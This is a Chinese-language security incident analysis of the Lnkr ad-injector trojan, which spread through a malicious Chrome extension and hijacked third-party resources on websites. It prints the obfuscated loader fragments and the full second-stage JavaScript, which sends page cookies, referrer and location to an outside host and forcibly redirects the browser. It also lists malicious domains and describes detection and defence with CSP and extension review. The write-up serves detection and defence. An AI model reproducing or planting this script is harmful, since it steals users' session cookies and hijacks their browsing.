隐藏在浏览器背后的“黑手”

导读

本文从黑产攻击方式、木马恶意行为、监控及防御方案等角度对Lnkr木马进行分析,此类木马影响范围较广,攻击手法多样,但国内目前相关的资料却非常稀少,希望本文的实践经验和总结能对从事相关安全检测的同学有所帮助。

一、事件概述

2020年10月,美团安全运营平台发现流量中存在恶意JavaScript请求,信息安全部收到告警后立即开始应急处理,通过对网络环境、访问日志等进行排查,最终锁定恶意请求由Chrome浏览器安装恶意插件引起,该恶意JavaScript文件会窃取Cookie并强制用户跳转到恶意色情站点、推广链接等,结合美团威胁情报大数据,发现该插件与Lnkr Ad Injector木马特征吻合。

此类木马传播方式多样,会通过浏览器插件、Broken Link Hijacking等方式在页面中植入恶意代码,不仅严重影响用户正常访问还会窃取用户数据。经追踪分析发现,多个国内大型互联网站点(Alexa全球排名前600)被感染,影响上亿网民的上网安全,建议各大平台对自身系统第三方加载源以及内部终端设备进行检查,避免遭受此类木马攻击。

二、溯源过程

2.1 安全运营平台发出异常告警

Chrome沙箱监测到恶意JavaScript文件,发出异常告警:

通过告警信息判断基本的攻击行为是:

  1. 用户访问正常页面;
  2. 页面加载外部JavaScript文件(A):http://s3.amazonaws.com/js-static/18ced489204f8ff908.js;
  3. A加载第二个JavaScript文件(B):http://countsource.cool/18ced489204f8ff908.js;
  4. B包含恶意代码,向远程域名发送Cookie等敏感信息。

2.2 分析攻击路径

根据告警中涉及的触发页面、相关网络环境信息,排除流量劫持、XSS攻击等情况,猜测可能的原因为浏览器插件或恶意软件导致。

通过沙箱对问题设备上所有Chrome插件进行分析,发现一个名为Vysor的Chrome插件代码存在恶意行为,检测结果如下:

{
    "call_window_location": {
        "info": "get document.location",
        "capture": []
    },
    "call_document_createElement": {
        "info": "call document.createElement, create script element",
        "capture": [
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:INPUT",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:FIELDSET",
            "create element elementName:SCRIPT",
            "create element elementName:LINK"
        ]
    },
    "call_document_removeChild": {
        "info": "call document.removeChild",
        "capture": [
            "remove element {elementName:fieldset}",
            "remove element {elementName:fieldset}",
            "remove element {elementName:fieldset}"
        ]
    },
    "set_scriptSrcValue": {
        "info": "set script src unsafe value",
        "capture": [
            "//s3.amazonaws.com/js-static/18ced489204f8ff908.js"
        ]
    }
}

可以看到插件代码创建了script标签,然后将script标签的src属性设置为//s3.amazonaws.com/js-static/18ced489204f8ff908.js

2.3 插件恶意代码分析

为了进一步研究该组织木马的特征,我们对该恶意插件的代码进行了人工分析。恶意插件的代码量较大,结构混乱,包含大量干扰代码。

首先恶意代码预先设置了许多无明显意义的字符串,用于构造Payload。

这些字符串通过下面方法的一系列转换最终构造出创建script标签的语句 document[‘createElement’](‘script’),doctype即为创建出来的script对象。

接下来为script对象的src属性赋值,在addHandler方法中,cl这个参数由elem传递过来,其中包含src字符串,通过cl[0].split(‘>’).slice(2, 3)拿到关键字src,tag是上文的doctype变量也就是script对象,在构造src值这部分,可以看到在常量中有一串一部分很像是base64的字符串:

mawaid = '^\\%|PCQxPjwkMT5zM|y5hbWF6b25hd3Mu|?:^[^\\\\]+?:\\%\\.*\t'

恶意代码利用该字符串结合其他预设变量进行一系列转换,最终形成base64后的加载地址PCQxPjwkMT5zMy5hbWF6b25hd3MuY29tPCQxPmpzLXN0YXRpYzwkMT4xOGNlZDQ4OTIwNGY4ZmY5MDguanM:

通过createLinkPseudo方法解base64,经过replace后形成恶意地址//s3.amazonaws.com/js-static/18ced489204f8ff908.js。

s3.amazonaws.com/js-static/18ced489204f8ff908.js的主要目的是加载下一层的恶意Javascript文件(//countsource.cool/18ced489204f8ff908.js),代码如下:

(function(){var a=document.createElement("script");a.src="//countsource.cool/18ced489204f8ff908.js";(document.head||document.documentElement).appendChild(a)})();;

//countsource.cool/18ced489204f8ff908.js文件内容为:

(function () {
    function initXMLhttp() {
        var xmlhttp;
        if (window.XMLHttpRequest) {
            xmlhttp = new XMLHttpRequest();
        } else {
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        return xmlhttp;
    }
​
    function minAjax(config) {
        if (!config.url) {
            return;
        }
        if (!config.type) {
            return;
        }
        if (!config.method) {
            config.method = true;
        }
        if (!config.debugLog) {
            config.debugLog = false;
        }
        var sendString = [],
            sendData = config.data;
        if (typeof sendData === "string") {
            var tmpArr = String.prototype.split.call(sendData, '&');
            for (var i = 0, j = tmpArr.length; i < j; i++) {
                var datum = tmpArr[i].split('=');
                sendString.push(encodeURIComponent(datum[0]) + "=" + encodeURIComponent(datum[1]));
            }
        } else if (typeof sendData === 'object' && !(sendData instanceof String)) {
            for (var k in sendData) {
                var datum = sendData[k];
                if (Object.prototype.toString.call(datum) == "[object Array]") {
                    for (var i = 0, j = datum.length; i < j; i++) {
                        sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum[i]));
                    }
                } else {
                    sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum));
                }
            }
        }
        sendString = sendString.join('&');
        if (window.XDomainRequest) {
            var xmlhttp = new window.XDomainRequest();
            xmlhttp.onload = function () {
                if (config.success) {
                    config.success(xmlhttp.responseText);
                }
            };
            xmlhttp.open("POST", config.url);
            xmlhttp.send(sendString);
        } else {
            var xmlhttp = initXMLhttp();
            xmlhttp.onreadystatechange = function () {
                if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
                    if (config.success) {
                        config.success(xmlhttp.responseText, xmlhttp.readyState);
                    }
                } else {}
            }
            if (config.type == "GET") {
                xmlhttp.open("GET", config.url + "?" + sendString, config.method);
                xmlhttp.send();
            }
            if (config.type == "POST") {
                xmlhttp.open("POST", config.url, config.method);
                xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
                xmlhttp.send(sendString);
            }
        }
    }
    dL();
​
    function dL() {
        var host = 'http://press.cdncontentdelivery.com/f';
        var config = {
            url: host + "/stats.php",
            type: "POST",
            data: {
                vbase: document.baseURI,
                vhref: location.href,
                vref: document.referrer,
                k: "Y291bnRzb3VyY2UuY29vbA==",
                ck: document.cookie,
                t: Math.floor(new Date().getTime() / 1000),
                tg: ""
            },
            success: onSuccessCallback
        };
​
        function bl(resp) {
            ! function (dr) {
                function t() {
                    return !!localStorage && localStorage.getItem(a)
                }
​
                function e() {
                    o(),
                        parent.top.window.location.href = c
                }
​
                function o() {
                    var t = r + i;
                    if (localStorage) {
                        localStorage.setItem(a, t)
                    }
                }
​
                function n() {
                    if (t()) {
                        var o = localStorage && localStorage.getItem(a);
                        r > o && e()
                    } else e()
                }
                var a = "MenuIdentifier",
                    r = Math.floor((new Date).getTime() / 1e3),
                    c = dr,
                    i = 86400;
                n()
            }(resp);
        }
​
        function onSuccessCallback(response) {
            if (response && response.indexOf('http') > -1) {
                bl(response);
            }
        }
        minAjax(config);
    }
})();

该文件是真正实现恶意行为的代码,这部分代码没有经过混淆、加密,也没有加入其他无意义的代码干扰分析,可以很清晰地看到其恶意行为:

  1. 获取当前页面Cookie,ck参数;
  2. 获取当前页面Referrer;
  3. 获取当前页面Location;
  4. 使用XMLHttpRequest将获取到的数据发送到http://press.cdncontentdelivery.com/f/stats.php;
  5. 利用onSuccessCallback方法进行跳转。

至此实现了将Cookie发送到远端接收地址,后续通过onSuccessCallback返回内容完成跳转,完整流程:

2.4 通过已发现的IoC深入排查

通过上述特征,发现大量与Lnkr木马相关的域名和插件,部分并未出现在已知的威胁情报中,经进一步分析发现,移动终端设备也有触发恶意请求的情况。

除此之外我们也发现国内多个大型站点在自身引用资源上引入了Lnkr木马,用户如果访问到这些站点,Cookie信息会被直接发送到远端,存在极高的安全风险。针对站点自身存在恶意资源的这类情况,极有可能是攻击者利用Broken Link Hijacking的攻击手法,对过期域名进行抢注,站点在访问原有资源时被劫持到恶意资源。

三、总结

3.1 恶意域名

以下列举了此次检测发现的恶意域名:

  1. mirextpro.com
  2. browfileext.com
  3. nextextlink.com
  4. lisegreen.biz
  5. makesure.biz
  6. clipsold.com
  7. comtakelink.xyz
  8. protesidenext.com
  9. promfflinkdev.com
  10. rayanplug.xyz
  11. countsource.cool
  12. blancfox.com
  13. skipush1.bbn.com.cn
  14. donewrork.org
  15. loungesrc.net
  16. higedev.cool
  17. s3.amazonaws.com/cashe-js/
  18. s3.amazonaws.com/js-cache/
  19. s3.amazonaws.com/jsfile/
  20. s3.amazonaws.com/cashe-js/
  21. cdngateway.net(接收Cookie域名)
  22. sslproviders.net (接收Cookie域名)
  23. cdncontentdelivery.com (接收Cookie域名)

3.2 恶意插件

排查到包含Lnkr木马特征的恶意插件:

部分恶意插件截图:

四、复盘

Lnkr木马所造成的危害有哪些?

Lnkr木马的核心域名之一cdngateway.net在全球域名流量排名8900位,从流量来源角度,通过外部网站跳转带来的流量占比总流量的65.48%,可见其攻击范围极广,受其影响的应用、用户数量也是非常庞大的。

此类木马对外部用户和内部员工访问同时具有严重危害。

在外部用户方面,如果企业没有严格控制系统第三方资源加载,黑产利用Broken Link Hijacking的攻击手法,致使业务系统加载资源时被劫持植入恶意代码,将严重影响用户体验、信息安全和企业形象。

从内部员工角度,传统杀软、EDR等终端安全设备并不能很好地识别出此类恶意插件,攻击者通过传播恶意浏览器插件控制员工浏览器加载远程恶意资源,不仅仅可以用于广告注入,相较于针对浏览器的其他攻击方式,可以达到更稳定,触发面更广的敏感信息窃取、内网探测等,在CSP历史阻断的恶意请求中,我们也发现除窃取Cookie信息外,也存在恶意代码窃取页面文本信息的情况,这些文本信息在企业内部平台中,极有可能包含大量用户,订单等敏感信息。

如何发现此类恶意木马植入?

针对恶意浏览器插件,在检测方面对其代码做静态分析成本比较大,触发恶意请求的Payload都是通过大量编码转换、拼接、正则匹配等构造而成、且经过了很多没有实际意义的方法,在动态分析方面,由于Chrome插件代码会调用Chrome后台API,在常规沙箱环境中可能会出现无法调用API而中途报错退出。分析中还发现,很多恶意行为需要触发特定事件才能进入到构造恶意Payload流程,如触发chrome.tabs.onUpdated等。

对于浏览器插件安全,可以通过以下方式进行检测及防护:

  • 禁止安装未在Chrome应用商店上线的插件(公司内部开发的插件除外);
  • 对插件manfiest.json文件进行轻量级的排查,manfiest.json文件中申请权限相对敏感,如Cookie、tabs、webRequest等等;
  • 利用内容安全策略(CSP)对应用页面发起的请求进行拦截或监控,结合静态与动态分析技术,判断JavaScript文件行为;
  • 利用浏览器沙箱与EDR,定期对浏览器插件进行扫描;
  • 构建网络层的检测能力,发现有恶意请求及时应急处理。

对于业务系统自身是否加载恶意资源方面:

  • 严格控制系统加载的第三方资源;
  • 通过内容安全策略(CSP)对页面触发的请求进行拦截或监控。

总结

黑产组织利用此类木马进行恶意引流、窃取用户信息等,给用户访问带来安全风险,也危害到企业自身形象,在HTTPS场景下,虽然排除了链路上用户访问被劫持的风险,但用户端访问环境安全性不定,为确保用户获取的信息可靠,没有被篡改,仍然需要进一步加强防护。希望本文能给大家带来一些帮助或者启发。

关于美团信息安全部

招聘信息

目前美团安全团队正在努力打造语言虚拟机—基础服务—上层应用的纵深应用安全体系,急需对研发安全感兴趣的同学加入!如果你正好有求职意向且满足以下岗位要求,欢迎投递简历至sunny.fang@meituan.com(邮件主题请注明:研发安全专家-城市-美团SRC)。